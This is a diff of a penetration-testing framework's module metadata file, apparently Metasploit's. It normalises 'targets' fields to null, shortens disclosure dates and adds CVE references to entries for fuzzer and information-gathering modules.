@@ -8335,9 +7759,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 09:54:09 +0000", "path": "/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb", "is_install_path": true, @@ -8361,9 +7783,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb", "is_install_path": true, @@ -8387,9 +7807,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb", "is_install_path": true, @@ -8413,9 +7831,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb", "is_install_path": true, @@ -8439,9 +7855,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb", "is_install_path": true, @@ -8465,9 +7879,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb", "is_install_path": true, @@ -8491,9 +7903,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb", "is_install_path": true, @@ -8517,9 +7927,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb", "is_install_path": true, @@ -8543,9 +7951,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb", "is_install_path": true, @@ -8569,9 +7975,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb", "is_install_path": true, @@ -8595,9 +7999,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb", "is_install_path": true, @@ -8621,9 +8023,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb", "is_install_path": true, @@ -8647,9 +8047,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb", "is_install_path": true, @@ -8673,9 +8071,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb", "is_install_path": true, @@ -8699,9 +8095,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/tds/tds_login_username.rb", "is_install_path": true, @@ -8711,7 +8105,7 @@ "name": "Advantech WebAccess 8.1 Post Authentication Credential Collector", "full_name": "auxiliary/gather/advantech_webaccess_creds", "rank": 300, - "disclosure_date": "2017-01-21 00:00:00 -0600", + "disclosure_date": "2017-01-21", "type": "auxiliary", "author": [ "h00die", @@ -8719,6 +8113,7 @@ ], "description": "This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.\n Although authentication is required, any level of user permission can exploit this vulnerability.\n\n Note that 8.2 is not suitable for this.", "references": [ + "CVE-2016-5810", "URL-https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229" ], "is_server": false, @@ -8726,9 +8121,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/advantech_webaccess_creds.rb", "is_install_path": true, @@ -8738,7 +8131,7 @@ "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "full_name": "auxiliary/gather/alienvault_iso27001_sqli", "rank": 300, - "disclosure_date": "2014-03-30 00:00:00 -0500", + "disclosure_date": "2014-03-30", "type": "auxiliary", "author": [ "Brandon Perry " @@ -8752,9 +8145,7 @@ "platform": "Linux", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/alienvault_iso27001_sqli.rb", "is_install_path": true, @@ -8764,13 +8155,14 @@ "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "full_name": "auxiliary/gather/alienvault_newpolicyform_sqli", "rank": 300, - "disclosure_date": "2014-05-09 00:00:00 -0500", + "disclosure_date": "2014-05-09", "type": "auxiliary", "author": [ "Chris Hebert " ], "description": "AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against\n newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability\n to read an arbitrary file from the file system. Any authenticated user is able to exploit\n this, as administrator privileges are not required.", "references": [ + "CVE-2014-5383", "OSVDB-106815", "EDB-33317", "URL-http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower" @@ -8780,9 +8172,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb", "is_install_path": true, @@ -8808,9 +8198,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/android_browser_file_theft.rb", "is_install_path": true, @@ -8836,9 +8224,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb", "is_install_path": true, @@ -8864,9 +8250,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/android_htmlfileprovider.rb", "is_install_path": true, @@ -8876,7 +8260,7 @@ "name": "Android Open Source Platform (AOSP) Browser UXSS", "full_name": "auxiliary/gather/android_object_tag_webview_uxss", "rank": 300, - "disclosure_date": "2014-10-04 00:00:00 -0500", + "disclosure_date": "2014-10-04", "type": "auxiliary", "author": [ "Rafay Baloch", @@ -8893,9 +8277,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/android_object_tag_webview_uxss.rb", "is_install_path": true, @@ -8922,9 +8304,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/gather/android_stock_browser_uxss.rb", "is_install_path": true, @@ -8952,9 +8332,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/apache_rave_creds.rb", "is_install_path": true, @@ -8964,7 +8342,7 @@ "name": "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft", "full_name": "auxiliary/gather/apple_safari_ftp_url_cookie_theft", "rank": 300, - "disclosure_date": "2015-04-08 00:00:00 -0500", + "disclosure_date": "2015-04-08", "type": "auxiliary", "author": [ "Jouko Pynnonen", @@ -8980,9 +8358,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb", "is_install_path": true, @@ -8992,7 +8368,7 @@ "name": "Mac OS X Safari .webarchive File Format UXSS", "full_name": "auxiliary/gather/apple_safari_webarchive_uxss", "rank": 300, - "disclosure_date": "2013-02-22 00:00:00 -0600", + "disclosure_date": "2013-02-22", "type": "auxiliary", "author": [ "joev " @@ -9006,9 +8382,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb", "is_install_path": true, @@ -9035,9 +8409,7 @@ "platform": "", "arch": "", "rport": "5038", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-30 15:18:23 +0000", "path": "/modules/auxiliary/gather/asterisk_creds.rb", "is_install_path": true, @@ -9061,9 +8433,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/avtech744_dvr_accounts.rb", "is_install_path": true, @@ -9073,7 +8443,7 @@ "name": "HTTP Client Information Gather", "full_name": "auxiliary/gather/browser_info", "rank": 300, - "disclosure_date": "2016-03-22 00:00:00 -0500", + "disclosure_date": "2016-03-22", "type": "auxiliary", "author": [ "sinn3r " @@ -9087,9 +8457,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/browser_info.rb", "is_install_path": true, @@ -9099,7 +8467,7 @@ "name": "HTTP Client LAN IP Address Gather", "full_name": "auxiliary/gather/browser_lanipleak", "rank": 300, - "disclosure_date": "2013-09-05 00:00:00 -0500", + "disclosure_date": "2013-09-05", "type": "auxiliary", "author": [ "Daniel Roesler", @@ -9116,9 +8484,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-11 01:45:41 +0000", "path": "/modules/auxiliary/gather/browser_lanipleak.rb", "is_install_path": true, @@ -9142,9 +8508,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/censys_search.rb", "is_install_path": true, @@ -9154,7 +8518,7 @@ "name": "Cerberus Helpdesk User Hash Disclosure", "full_name": "auxiliary/gather/cerberus_helpdesk_hash_disclosure", "rank": 300, - "disclosure_date": "2016-03-07 00:00:00 -0600", + "disclosure_date": "2016-03-07", "type": "auxiliary", "author": [ "asdizzle_", @@ -9169,9 +8533,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb", "is_install_path": true, @@ -9181,7 +8543,7 @@ "name": "CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure", "full_name": "auxiliary/gather/checkpoint_hostname", "rank": 300, - "disclosure_date": "2011-12-14 00:00:00 -0600", + "disclosure_date": "2011-12-14", "type": "auxiliary", "author": [ "aushack " @@ -9196,9 +8558,7 @@ "platform": "", "arch": "", "rport": "264", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/gather/checkpoint_hostname.rb", "is_install_path": true, @@ -9222,9 +8582,7 @@ "platform": "", "arch": "", "rport": "1604", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/gather/citrix_published_applications.rb", "is_install_path": true, @@ -9249,9 +8607,7 @@ "platform": "", "arch": "", "rport": "1604", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/gather/citrix_published_bruteforce.rb", "is_install_path": true, @@ -9261,7 +8617,7 @@ "name": "ColdFusion 'password.properties' Hash Extraction", "full_name": "auxiliary/gather/coldfusion_pwd_props", "rank": 300, - "disclosure_date": "2013-05-07 00:00:00 -0500", + "disclosure_date": "2013-05-07", "type": "auxiliary", "author": [ "HTP", @@ -9270,6 +8626,7 @@ ], "description": "This module uses a directory traversal vulnerability to extract information\n such as password, rdspassword, and \"encrypted\" properties. This module has been\n tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the\n target ColdFusion version.", "references": [ + "CVE-2013-3336", "OSVDB-93114", "EDB-25305" ], @@ -9278,9 +8635,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/coldfusion_pwd_props.rb", "is_install_path": true, @@ -9304,9 +8659,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/corpwatch_lookup_id.rb", "is_install_path": true, @@ -9330,9 +8683,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 08:43:10 +0000", "path": "/modules/auxiliary/gather/corpwatch_lookup_name.rb", "is_install_path": true, @@ -9342,7 +8693,7 @@ "name": "General Electric D20 Password Recovery", "full_name": "auxiliary/gather/d20pass", "rank": 300, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "auxiliary", "author": [ "K. Reid Wightman " @@ -9356,9 +8707,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/d20pass.rb", "is_install_path": true, @@ -9368,7 +8717,7 @@ "name": "DarkComet Server Remote File Download Exploit", "full_name": "auxiliary/gather/darkcomet_filedownloader", "rank": 300, - "disclosure_date": "2012-10-08 00:00:00 -0500", + "disclosure_date": "2012-10-08", "type": "auxiliary", "author": [ "Shawn Denbow & Jesse Hertz", @@ -9384,9 +8733,7 @@ "platform": "Windows", "arch": "", "rport": "1604", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/darkcomet_filedownloader.rb", "is_install_path": true, @@ -9396,7 +8743,7 @@ "name": "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", "full_name": "auxiliary/gather/doliwamp_traversal_creds", "rank": 300, - "disclosure_date": "2014-01-12 00:00:00 -0600", + "disclosure_date": "2014-01-12", "type": "auxiliary", "author": [ "Brendan Coles " @@ -9411,9 +8758,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/doliwamp_traversal_creds.rb", "is_install_path": true, @@ -9423,7 +8768,7 @@ "name": "Drupal OpenID External Entity Injection", "full_name": "auxiliary/gather/drupal_openid_xxe", "rank": 300, - "disclosure_date": "2012-10-17 00:00:00 -0500", + "disclosure_date": "2012-10-17", "type": "auxiliary", "author": [ "Reginaldo Silva", @@ -9443,9 +8788,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/drupal_openid_xxe.rb", "is_install_path": true, @@ -9455,7 +8798,7 @@ "name": "Network Shutdown Module sort_values Credential Dumper", "full_name": "auxiliary/gather/eaton_nsm_creds", "rank": 300, - "disclosure_date": "2012-06-26 00:00:00 -0500", + "disclosure_date": "2012-06-26", "type": "auxiliary", "author": [ "h0ng10", @@ -9471,9 +8814,7 @@ "platform": "", "arch": "", "rport": "4679", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/gather/eaton_nsm_creds.rb", "is_install_path": true, @@ -9483,13 +8824,14 @@ "name": "EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read", "full_name": "auxiliary/gather/emc_cta_xxe", "rank": 300, - "disclosure_date": "2014-03-31 00:00:00 -0500", + "disclosure_date": "2014-03-31", "type": "auxiliary", "author": [ "Brandon Perry " ], "description": "EMC CTA v10.0 is susceptible to an unauthenticated XXE attack\n that allows an attacker to read arbitrary files from the file system\n with the permissions of the root user.", "references": [ + "CVE-2014-0644", "EDB-32623" ], "is_server": false, @@ -9497,9 +8839,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/emc_cta_xxe.rb", "is_install_path": true, @@ -9525,9 +8865,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/enum_dns.rb", "is_install_path": true, @@ -9537,7 +8875,7 @@ "name": "ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure", "full_name": "auxiliary/gather/eventlog_cred_disclosure", "rank": 300, - "disclosure_date": "2014-11-05 00:00:00 -0600", + "disclosure_date": "2014-11-05", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -9555,9 +8893,7 @@ "platform": "", "arch": "", "rport": "8400", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/eventlog_cred_disclosure.rb", "is_install_path": true, @@ -9581,9 +8917,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/external_ip.rb", "is_install_path": true, @@ -9611,9 +8945,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb", "is_install_path": true, @@ -9642,9 +8974,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb", "is_install_path": true, @@ -9654,7 +8984,7 @@ "name": "Flash \"Rosetta\" JSONP GET/POST Response Disclosure", "full_name": "auxiliary/gather/flash_rosetta_jsonp_url_disclosure", "rank": 300, - "disclosure_date": "2014-07-08 00:00:00 -0500", + "disclosure_date": "2014-07-08", "type": "auxiliary", "author": [ "Michele Spagnuolo", @@ -9672,9 +9002,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb", "is_install_path": true, @@ -9684,7 +9012,7 @@ "name": "Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)", "full_name": "auxiliary/gather/get_user_spns", "rank": 300, - "disclosure_date": "2014-09-27 00:00:00 -0500", + "disclosure_date": "2014-09-27", "type": "auxiliary", "author": [ "Alberto Solino", @@ -9702,9 +9030,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-19 14:16:23 +0000", "path": "/modules/auxiliary/gather/get_user_spns.py", "is_install_path": true, @@ -9728,9 +9054,7 @@ "platform": "", "arch": "", "rport": "5227", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/hp_enum_perfd.rb", "is_install_path": true, @@ -9740,7 +9064,7 @@ "name": "HP ProCurve SNAC Domain Controller Credential Dumper", "full_name": "auxiliary/gather/hp_snac_domain_creds", "rank": 300, - "disclosure_date": "2013-09-09 00:00:00 -0500", + "disclosure_date": "2013-09-09", "type": "auxiliary", "author": [ "rgod ", @@ -9755,9 +9079,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/hp_snac_domain_creds.rb", "is_install_path": true, @@ -9781,9 +9103,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-14 01:08:53 +0000", "path": "/modules/auxiliary/gather/http_pdf_authors.rb", "is_install_path": true, @@ -9793,7 +9113,7 @@ "name": "Huawei Datacard Information Disclosure Vulnerability", "full_name": "auxiliary/gather/huawei_wifi_info", "rank": 300, - "disclosure_date": "2013-11-11 00:00:00 -0600", + "disclosure_date": "2013-11-11", "type": "auxiliary", "author": [ "Jimson K James", @@ -9810,9 +9130,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/huawei_wifi_info.rb", "is_install_path": true, @@ -9822,7 +9140,7 @@ "name": "IBM Lotus Notes Sametime User Enumeration", "full_name": "auxiliary/gather/ibm_sametime_enumerate_users", "rank": 300, - "disclosure_date": "2013-12-27 00:00:00 -0600", + "disclosure_date": "2013-12-27", "type": "auxiliary", "author": [ "kicks4kittens" @@ -9837,9 +9155,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb", "is_install_path": true, @@ -9849,7 +9165,7 @@ "name": "IBM Lotus Notes Sametime Room Name Bruteforce", "full_name": "auxiliary/gather/ibm_sametime_room_brute", "rank": 300, - "disclosure_date": "2013-12-27 00:00:00 -0600", + "disclosure_date": "2013-12-27", "type": "auxiliary", "author": [ "kicks4kittens" @@ -9864,9 +9180,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ibm_sametime_room_brute.rb", "is_install_path": true, @@ -9876,7 +9190,7 @@ "name": "IBM Lotus Sametime Version Enumeration", "full_name": "auxiliary/gather/ibm_sametime_version", "rank": 300, - "disclosure_date": "2013-12-27 00:00:00 -0600", + "disclosure_date": "2013-12-27", "type": "auxiliary", "author": [ "kicks4kittens" @@ -9891,9 +9205,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ibm_sametime_version.rb", "is_install_path": true, @@ -9903,7 +9215,7 @@ "name": "Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability", "full_name": "auxiliary/gather/ie_sandbox_findfiles", "rank": 300, - "disclosure_date": "2016-08-09 00:00:00 -0500", + "disclosure_date": "2016-08-09", "type": "auxiliary", "author": [ "Yorick Koster" @@ -9919,9 +9231,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ie_sandbox_findfiles.rb", "is_install_path": true, @@ -9931,7 +9241,7 @@ "name": "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", "full_name": "auxiliary/gather/ie_uxss_injection", "rank": 300, - "disclosure_date": "2015-02-01 00:00:00 -0600", + "disclosure_date": "2015-02-01", "type": "auxiliary", "author": [ "David Leo", @@ -9952,9 +9262,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ie_uxss_injection.rb", "is_install_path": true, @@ -9978,9 +9286,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/gather/impersonate_ssl.rb", "is_install_path": true, @@ -10004,9 +9310,7 @@ "platform": "", "arch": "", "rport": "1099", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/java_rmi_registry.rb", "is_install_path": true, @@ -10032,9 +9336,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/jenkins_cred_recovery.rb", "is_install_path": true, @@ -10044,7 +9346,7 @@ "name": "Joomla Real Estate Manager Component Error-Based SQL Injection", "full_name": "auxiliary/gather/joomla_com_realestatemanager_sqli", "rank": 300, - "disclosure_date": "2015-10-22 00:00:00 -0500", + "disclosure_date": "2015-10-22", "type": "auxiliary", "author": [ "Omer Ramic", @@ -10059,9 +9361,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb", "is_install_path": true, @@ -10071,7 +9371,7 @@ "name": "Joomla com_contenthistory Error-Based SQL Injection", "full_name": "auxiliary/gather/joomla_contenthistory_sqli", "rank": 300, - "disclosure_date": "2015-10-22 00:00:00 -0500", + "disclosure_date": "2015-10-22", "type": "auxiliary", "author": [ "Asaf Orpani", @@ -10088,9 +9388,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/joomla_contenthistory_sqli.rb", "is_install_path": true, @@ -10100,7 +9398,7 @@ "name": "Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read", "full_name": "auxiliary/gather/joomla_weblinks_sqli", "rank": 300, - "disclosure_date": "2014-03-02 00:00:00 -0600", + "disclosure_date": "2014-03-02", "type": "auxiliary", "author": [ "Brandon Perry " @@ -10115,9 +9413,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/joomla_weblinks_sqli.rb", "is_install_path": true, @@ -10141,9 +9437,7 @@ "platform": "", "arch": "", "rport": "88", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/gather/kerberos_enumusers.rb", "is_install_path": true, @@ -10168,9 +9462,7 @@ "platform": "", "arch": "", "rport": "50001", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/konica_minolta_pwd_extract.rb", "is_install_path": true, @@ -10197,9 +9489,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/lansweeper_collector.rb", "is_install_path": true, @@ -10209,7 +9499,7 @@ "name": "MantisBT Admin SQL Injection Arbitrary File Read", "full_name": "auxiliary/gather/mantisbt_admin_sqli", "rank": 300, - "disclosure_date": "2014-02-28 00:00:00 -0600", + "disclosure_date": "2014-02-28", "type": "auxiliary", "author": [ "Jakub Galczyk", @@ -10225,9 +9515,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/mantisbt_admin_sqli.rb", "is_install_path": true, @@ -10237,7 +9525,7 @@ "name": "McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure", "full_name": "auxiliary/gather/mcafee_epo_xxe", "rank": 300, - "disclosure_date": "2015-01-06 00:00:00 -0600", + "disclosure_date": "2015-01-06", "type": "auxiliary", "author": [ "Brandon Perry " @@ -10253,9 +9541,7 @@ "platform": "", "arch": "", "rport": "8443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/mcafee_epo_xxe.rb", "is_install_path": true, @@ -10279,9 +9565,7 @@ "platform": "", "arch": "", "rport": "11211", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/memcached_extractor.rb", "is_install_path": true, @@ -10291,7 +9575,7 @@ "name": "MongoDB NoSQL Collection Enumeration Via Injection", "full_name": "auxiliary/gather/mongodb_js_inject_collection_enum", "rank": 300, - "disclosure_date": "2014-06-07 00:00:00 -0500", + "disclosure_date": "2014-06-07", "type": "auxiliary", "author": [ "Brandon Perry " @@ -10305,9 +9589,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb", "is_install_path": true, @@ -10317,7 +9599,7 @@ "name": "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure", "full_name": "auxiliary/gather/ms14_052_xmldom", "rank": 300, - "disclosure_date": "2014-09-09 00:00:00 -0500", + "disclosure_date": "2014-09-09", "type": "auxiliary", "author": [ "Soroush Dalili", @@ -10335,9 +9617,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/ms14_052_xmldom.rb", "is_install_path": true, @@ -10347,7 +9627,7 @@ "name": "MyBB Database Fingerprint", "full_name": "auxiliary/gather/mybb_db_fingerprint", "rank": 300, - "disclosure_date": "2014-02-13 00:00:00 -0600", + "disclosure_date": "2014-02-13", "type": "auxiliary", "author": [ "Arthur Karmanovskii " @@ -10361,9 +9641,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/mybb_db_fingerprint.rb", "is_install_path": true, @@ -10387,9 +9665,7 @@ "platform": "", "arch": "", "rport": 